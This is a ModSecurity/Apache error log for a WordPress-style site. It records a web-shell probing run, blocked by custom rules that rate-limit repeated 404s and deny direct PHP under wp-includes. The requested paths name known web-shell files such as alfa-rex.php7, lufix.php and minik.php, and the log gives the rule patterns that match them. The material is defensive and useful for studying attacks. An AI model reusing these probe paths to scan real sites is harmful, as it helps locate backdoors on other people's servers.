[Sun Mar 01 17:03:37.474267 2026] [:error] [pid 38241:tid 38244] [client 20.104.206.150:24083] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aaQA6fKRPk6YnJBxw_yGTQAAAMA"]
[Sun Mar 01 17:03:37.928170 2026] [:error] [pid 38241:tid 38260] [client 20.104.206.150:62448] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog.php"] [unique_id "aaQA6fKRPk6YnJBxw_yGUAAAANA"]
[Sun Mar 01 17:03:38.450509 2026] [:error] [pid 38241:tid 38245] [client 20.104.206.150:23736] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog.php"] [unique_id "aaQA6vKRPk6YnJBxw_yGUwAAAME"]
[Sun Mar 01 17:03:38.946230 2026] [:error] [pid 41780:tid 41784] [client 20.104.206.150:62442] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog.php"] [unique_id "aaQA6sONkVoocLIqzy0YTAAAA8E"]
[Sun Mar 01 17:03:39.457735 2026] [:error] [pid 44644:tid 44661] [client 20.104.206.150:45335] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog.php"] [unique_id "aaQA653RJaXMcw3y9V_CAAAAAA4"]
[Sun Mar 01 17:03:39.943596 2026] [:error] [pid 41342:tid 41363] [client 20.104.206.150:24077] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php7"] [unique_id "aaQA644iJ6RAS5CatDlP-QAAAhI"]
[Sun Mar 01 17:03:40.424776 2026] [:error] [pid 38241:tid 38251] [client 20.104.206.150:62446] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php7"] [unique_id "aaQA7PKRPk6YnJBxw_yGVgAAAMc"]
[Sun Mar 01 17:03:40.881150 2026] [:error] [pid 41780:tid 41798] [client 20.104.206.150:47801] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php7"] [unique_id "aaQA7MONkVoocLIqzy0YUAAAA88"]
[Sun Mar 01 17:03:41.338150 2026] [:error] [pid 38034:tid 38052] [client 20.104.206.150:62410] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php7"] [unique_id "aaQA7QxtfZjwlJok9K_ifQAAAQ4"]
[Sun Mar 01 17:03:41.855363 2026] [:error] [pid 38034:tid 38044] [client 20.104.206.150:47756] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aaQA7QxtfZjwlJok9K_ifwAAAQY"]
[Sun Mar 01 17:03:42.402928 2026] [:error] [pid 7165:tid 7168] [client 20.104.206.150:24382] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aaQA7hRjCrA8qWBjgG9lbgAAAkE"]
[Sun Mar 01 17:03:42.853030 2026] [:error] [pid 33822:tid 33841] [client 20.104.206.150:45397] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aaQA7m6W3ygu1YVssubZggAAApE"]
[Sun Mar 01 17:03:43.296683 2026] [:error] [pid 7165:tid 7170] [client 20.104.206.150:45377] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aaQA7xRjCrA8qWBjgG9legAAAkM"]
[Sun Mar 01 17:03:43.802130 2026] [:error] [pid 40750:tid 40759] [client 20.104.206.150:45412] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ajax-actions.php"] [unique_id "aaQA7wfBuk03yQKDyqsIigAAAcY"]
[Sun Mar 01 17:03:44.242396 2026] [:error] [pid 40750:tid 40763] [client 20.104.206.150:45318] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ajax-actions.php"] [unique_id "aaQA8AfBuk03yQKDyqsIjwAAAco"]
[Sun Mar 01 17:03:44.714991 2026] [:error] [pid 40750:tid 40760] [client 20.104.206.150:45385] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ajax-actions.php"] [unique_id "aaQA8AfBuk03yQKDyqsIkgAAAcc"]
[Sun Mar 01 17:03:45.151135 2026] [:error] [pid 38241:tid 38263] [client 20.104.206.150:45350] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ajax-actions.php"] [unique_id "aaQA8fKRPk6YnJBxw_yGYQAAANM"]
[Sun Mar 01 17:03:45.599735 2026] [:error] [pid 7133:tid 7138] [client 20.104.206.150:45392] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaQA8fCtubh8pR64qB_gcwAAAEM"]
[Sun Mar 01 17:03:46.033605 2026] [:error] [pid 38034:tid 38040] [client 20.104.206.150:45317] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaQA8gxtfZjwlJok9K_ihAAAAQQ"]
[Sun Mar 01 17:03:46.480727 2026] [:error] [pid 33822:tid 33838] [client 20.104.206.150:45410] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaQA8m6W3ygu1YVssubZjQAAAo4"]
[Sun Mar 01 17:03:46.936666 2026] [:error] [pid 33822:tid 33825] [client 20.104.206.150:24356] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaQA8m6W3ygu1YVssubZkgAAAoE"]
[Sun Mar 01 17:03:47.464567 2026] [:error] [pid 38241:tid 38260] [client 20.104.206.150:62450] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aaQA8_KRPk6YnJBxw_yGcgAAANA"]
[Sun Mar 01 17:03:47.899703 2026] [:error] [pid 40750:tid 40755] [client 20.104.206.150:47745] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aaQA8wfBuk03yQKDyqsImQAAAcI"]
[Sun Mar 01 17:03:48.331055 2026] [:error] [pid 7165:tid 7188] [client 20.104.206.150:62407] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aaQA9BRjCrA8qWBjgG9lngAAAlU"]
[Sun Mar 01 17:03:48.779717 2026] [:error] [pid 7165:tid 7186] [client 20.104.206.150:45431] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aaQA9BRjCrA8qWBjgG9lpAAAAlM"]
[Sun Mar 01 17:03:49.317873 2026] [:error] [pid 38034:tid 38039] [client 20.104.206.150:47787] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aaQA9QxtfZjwlJok9K_iigAAAQM"]
[Sun Mar 01 17:03:49.757248 2026] [:error] [pid 37032:tid 37047] [client 20.104.206.150:47806] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aaQA9eu0U4o7eSImsVRciQAAAY0"]
[Sun Mar 01 17:03:50.234424 2026] [:error] [pid 44644:tid 44665] [client 20.104.206.150:54603] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aaQA9p3RJaXMcw3y9V_CBQAAABI"]
[Sun Mar 01 17:03:50.690628 2026] [:error] [pid 38034:tid 38048] [client 20.104.206.150:24099] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aaQA9gxtfZjwlJok9K_ijgAAAQo"]
[Sun Mar 01 17:03:51.183993 2026] [:error] [pid 38241:tid 38255] [client 20.104.206.150:24378] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/browse.php"] [unique_id "aaQA9_KRPk6YnJBxw_yGeQAAAMs"]
[Sun Mar 01 17:03:51.646484 2026] [:error] [pid 38034:tid 38058] [client 20.104.206.150:24079] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/browse.php"] [unique_id "aaQA9wxtfZjwlJok9K_ilAAAARQ"]
[Sun Mar 01 17:03:52.189970 2026] [:error] [pid 38034:tid 38038] [client 20.104.206.150:62401] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/browse.php"] [unique_id "aaQA-AxtfZjwlJok9K_ilwAAAQI"]
[Sun Mar 01 17:03:52.646283 2026] [:error] [pid 7165:tid 7189] [client 20.104.206.150:24322] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/browse.php"] [unique_id "aaQA-BRjCrA8qWBjgG9lxgAAAlY"]
[Sun Mar 01 17:03:53.113100 2026] [:error] [pid 40750:tid 40769] [client 20.104.206.150:45389] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/license.php"] [unique_id "aaQA-QfBuk03yQKDyqsIogAAAdA"]
[Sun Mar 01 17:03:53.584017 2026] [:error] [pid 40750:tid 40774] [client 20.104.206.150:62419] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/license.php"] [unique_id "aaQA-QfBuk03yQKDyqsIqAAAAdU"]
[Sun Mar 01 17:03:54.012752 2026] [:error] [pid 7165:tid 7174] [client 20.104.206.150:23887] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/license.php"] [unique_id "aaQA-hRjCrA8qWBjgG9l1gAAAkc"]
[Sun Mar 01 17:03:54.593878 2026] [:error] [pid 38241:tid 38260] [client 20.104.206.150:62424] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/license.php"] [unique_id "aaQA-vKRPk6YnJBxw_yGegAAANA"]
[Sun Mar 01 17:03:55.046244 2026] [:error] [pid 40750:tid 40768] [client 20.104.206.150:45382] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aaQA-wfBuk03yQKDyqsIsAAAAc8"]
[Sun Mar 01 17:03:55.539936 2026] [:error] [pid 7165:tid 7174] [client 20.104.206.150:45329] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aaQA-xRjCrA8qWBjgG9l4gAAAkc"]
[Sun Mar 01 17:03:55.984134 2026] [:error] [pid 7165:tid 7181] [client 20.104.206.150:23680] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aaQA-xRjCrA8qWBjgG9l6AAAAk4"]
[Sun Mar 01 17:03:56.488326 2026] [:error] [pid 40750:tid 40761] [client 20.104.206.150:45402] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aaQA_AfBuk03yQKDyqsIuAAAAcg"]
[Sun Mar 01 17:03:56.942659 2026] [:error] [pid 40750:tid 40769] [client 20.104.206.150:47760] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/minik.php"] [unique_id "aaQA_AfBuk03yQKDyqsIvQAAAdA"]
[Sun Mar 01 17:03:57.439707 2026] [:error] [pid 40750:tid 40753] [client 20.104.206.150:45352] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/minik.php"] [unique_id "aaQA_QfBuk03yQKDyqsIxgAAAcA"]
[Sun Mar 01 17:03:57.924871 2026] [:error] [pid 40750:tid 40773] [client 20.104.206.150:45413] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/minik.php"] [unique_id "aaQA_QfBuk03yQKDyqsIzgAAAdQ"]
[Sun Mar 01 17:03:58.418827 2026] [proxy_fcgi:error] [pid 40750:tid 40765] [client 20.104.206.150:45406] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:03:58.628122 2026] [proxy_fcgi:error] [pid 40750:tid 40767] [client 20.104.206.150:45406] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 17:03:58.837099 2026] [proxy_fcgi:error] [pid 40750:tid 40772] [client 20.104.206.150:45406] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 18:17:58.821256 2026] [proxy_fcgi:error] [pid 40750:tid 40759] [client 20.63.80.2:45819] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 18:17:59.037288 2026] [proxy_fcgi:error] [pid 40750:tid 40772] [client 20.63.80.2:45819] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 18:17:59.464631 2026] [:error] [pid 40750:tid 40766] [client 20.63.80.2:45819] [client 20.63.80.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaQSVwfBuk03yQKDyqtj6QAAAc0"]
[Sun Mar 01 18:18:00.749797 2026] [proxy_fcgi:error] [pid 7165:tid 7181] [client 20.63.80.2:65139] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 18:18:01.171640 2026] [proxy_fcgi:error] [pid 7165:tid 7190] [client 20.63.80.2:65139] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 18:18:01.802086 2026] [:error] [pid 7165:tid 7180] [client 20.63.80.2:65139] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaQSWRRjCrA8qWBjgG-oVAAAAk0"]
[Sun Mar 01 18:18:02.641864 2026] [:error] [pid 40750:tid 40768] [client 20.63.80.2:65089] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaQSWgfBuk03yQKDyqtj-wAAAc8"]
[Sun Mar 01 18:18:03.470952 2026] [:error] [pid 40750:tid 40765] [client 20.63.80.2:65111] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaQSWwfBuk03yQKDyqtkAQAAAcw"]
[Sun Mar 01 18:18:04.329378 2026] [:error] [pid 40750:tid 40763] [client 20.63.80.2:65106] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaQSXAfBuk03yQKDyqtkAwAAAco"]
[Sun Mar 01 21:13:22.577733 2026] [proxy_fcgi:error] [pid 40750:tid 40769] [client 20.63.80.2:45189] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 21:13:22.787017 2026] [proxy_fcgi:error] [pid 40750:tid 40768] [client 20.63.80.2:45189] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 21:13:23.638358 2026] [proxy_fcgi:error] [pid 40750:tid 40761] [client 20.63.80.2:45189] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 21:13:24.064993 2026] [:error] [pid 40750:tid 40766] [client 20.63.80.2:45189] [client 20.63.80.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaQ7dAfBuk03yQKDyqs3GwAAAc0"]
[Sun Mar 01 21:13:25.531179 2026] [proxy_fcgi:error] [pid 7165:tid 7174] [client 20.63.80.2:45210] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 21:13:25.758651 2026] [:error] [pid 7165:tid 7188] [client 20.63.80.2:45210] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "aaQ7dRRjCrA8qWBjgG87LgAAAlU"]
[Sun Mar 01 21:13:26.589001 2026] [:error] [pid 40750:tid 40754] [client 20.63.80.2:45104] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "aaQ7dgfBuk03yQKDyqs3HQAAAcE"]
[Sun Mar 01 21:13:27.418175 2026] [:error] [pid 40750:tid 40764] [client 20.63.80.2:45079] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "aaQ7dwfBuk03yQKDyqs3IQAAAcs"]
